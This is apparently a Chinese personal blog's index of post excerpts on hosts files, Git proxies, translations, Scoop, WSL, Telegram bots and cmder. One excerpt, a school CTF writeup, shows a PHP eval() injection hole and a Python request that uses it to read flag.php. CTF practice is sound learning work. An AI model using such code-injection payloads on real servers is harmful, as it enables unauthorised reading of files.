关于 hosts-tool 的一些事

2019年6月17日 · 596 字 · 2 分钟 · Golang Hosts

前置

由于平时有些修改 hosts 文件的需求(屏蔽广告啦),所以之前一直在用 SwitchHosts! 来自动下载远程 hosts 文件。

但 SwitchHosts! 还是有几点不尽如人意的地方:

上面这些其实都在能忍受的范围内,毕竟 又不是不能用 ,而且也没有其他合适的轮子,将就着也还能用。 但是!近期(也都两三个月了)直接不能用了。直接不能从远端下载更新 hosts 文件了,加上我瞅着作者也不活跃开发了,迫不得已,只好自己造轮子。

为 Git 配置代理

2019年5月26日 · 247 字 · 1 分钟 · Git

加速境外 git 服务托管网站速度。

操作

首先确保本地已开启 ss 或 ssr。 而后命令行执行如下命令。

git config --global http.proxy 'http://127.0.0.1:1080'
git config --global https.proxy 'http://127.0.0.1:1080'

原理

在大多数 git 代理相关文章中,均配置的是 socks5://127.0.0.1:1080 进行代理。这样虽然速度确实增加了,但由于 协议并不支持 socks5 协议,每次 git push 操作时还需要手动输入账户密码,不能通过 ssh key 来登录,非常影响体验。

翻译 | 给新手程序员们的建议

2019年4月28日 · 2191 字 · 5 分钟 · 翻译

这篇都是过年前翻译的了,但一直懒得放上来=。=


原文:Advice to new Programmers

并不是每天都有学生向 709 个软件开发者寻求建议的机会的。

综述

在瑞典马尔摩有一所学校叫做 The Game Assembly。这所学校专注于游戏制作教学。编程、艺术及设计,无所不包。有一个最后一年在游戏工作室度过的三年项目。

xatuctf2019 校赛 writeup

2019年4月19日 · 1114 字 · 3 分钟 · Ctf

2019.4.14 校赛,由于之前没办萌新赛,所以这次的题有点水 23333

WEB

你能读到 flag 吗

题目:

 <?php
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);");?>

谷歌之,原题,直接复制提交。

使用 file_get_contents() 方法获得 flag

python 代码如下

import requests

s=requests.session()
body = {"hello":"file_get_contents('flag.php')"}
r = s.post("http://192.168.1.5:23114/read.php", data=body)

print(r.content)

phpdecode

直接搜 1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY= 找到了别人的 wp,flag 获得。

初探 Scoop

2018年12月31日 · 1250 字 · 3 分钟 · Windows

缘起

Linux 用的多了,不免会觉得有一个靠谱好用的包管理器是一件令人身心愉悦的事。许多人也便顺理成章地想要在 Windows 系统上来一个包管理器。

只是一方面微软已然在大力推介其 Microsoft Store,另一方面命令行形式的包管理器对于大多数人也是极为不友好的。如此这般,一个官方的包管理器自然无望。

翻译 | Vim 的诞生

2018年10月23日 · 5303 字 · 11 分钟 · Vim Linux

2025.7.5 补:借助 AI 能力翻译的新版本

原文:Where Vim Came From

另投稿于 煎蛋

translated by batkiz & RUInsYi @ Par-Tuner

我最近偶然发现了一个名为 Intel HEX 的文件格式。据我所了解,Intel HEX 文件(使用 .hex 扩展名),将二值图像编码为一行一行的十六进制数字,为了使它们更透明。显然它们被应用于单片机编程或将数据烧录进 ROM。无论如何,当我第一次在 Vim 中打开一个 HEX 文件时,我发现了一些令人震惊的事。这个文件格式——至少对我来说——非常难懂,但 Vim 已经知道了有关它的一切。HEX 文件的每一行都是一个被分为不同字段的记录——Vim 已经先我一步为每一字段着了色。我敬畏地问道,set ft?filetype=hex,Vim 得意洋洋地回答。

wsl 使用指北

2018年10月6日 · 628 字 · 2 分钟 · Linux Windows

经由多个版本更新,现在 wsl 对于普通开发工作已基本没啥问题了,已可基本抛弃虚拟机(

注:由于 wsl 实现方式是自己实现了一遍 Linux Kernel1,因此涉及 Linux 底层(内核、hack 等)的东西基本还是不行的。。

telegram bots 推荐

2018年7月30日 · 635 字 · 2 分钟 · Telegram

telegram 作为一个新兴的 IM 软件,开源、安全等诸多特性都在吸引着人们来使用 telegram。 同样,bots 也是 telegram 不可或缺的一部分(误,下面我会推荐一些好用的 bot。 注:inline bot 即为在聊天框可直接敲入 @username 来调用的 bot。

解决 cmder 光标问题

2018年6月16日 · 206 字 · 1 分钟 · Windows

问题

由于 powershell 配置有些麻烦,所以最近在使用 cmder,然而在使用中有一个问题非常难受: 在 cmder 中,无论英文还是中文,输入的光标变宽或者多一个字符。

解决方法

进入 %CMDER_ROOT%\vendor 文件夹,编辑 profile.ps1,寻找下列信息(Ctrl + F)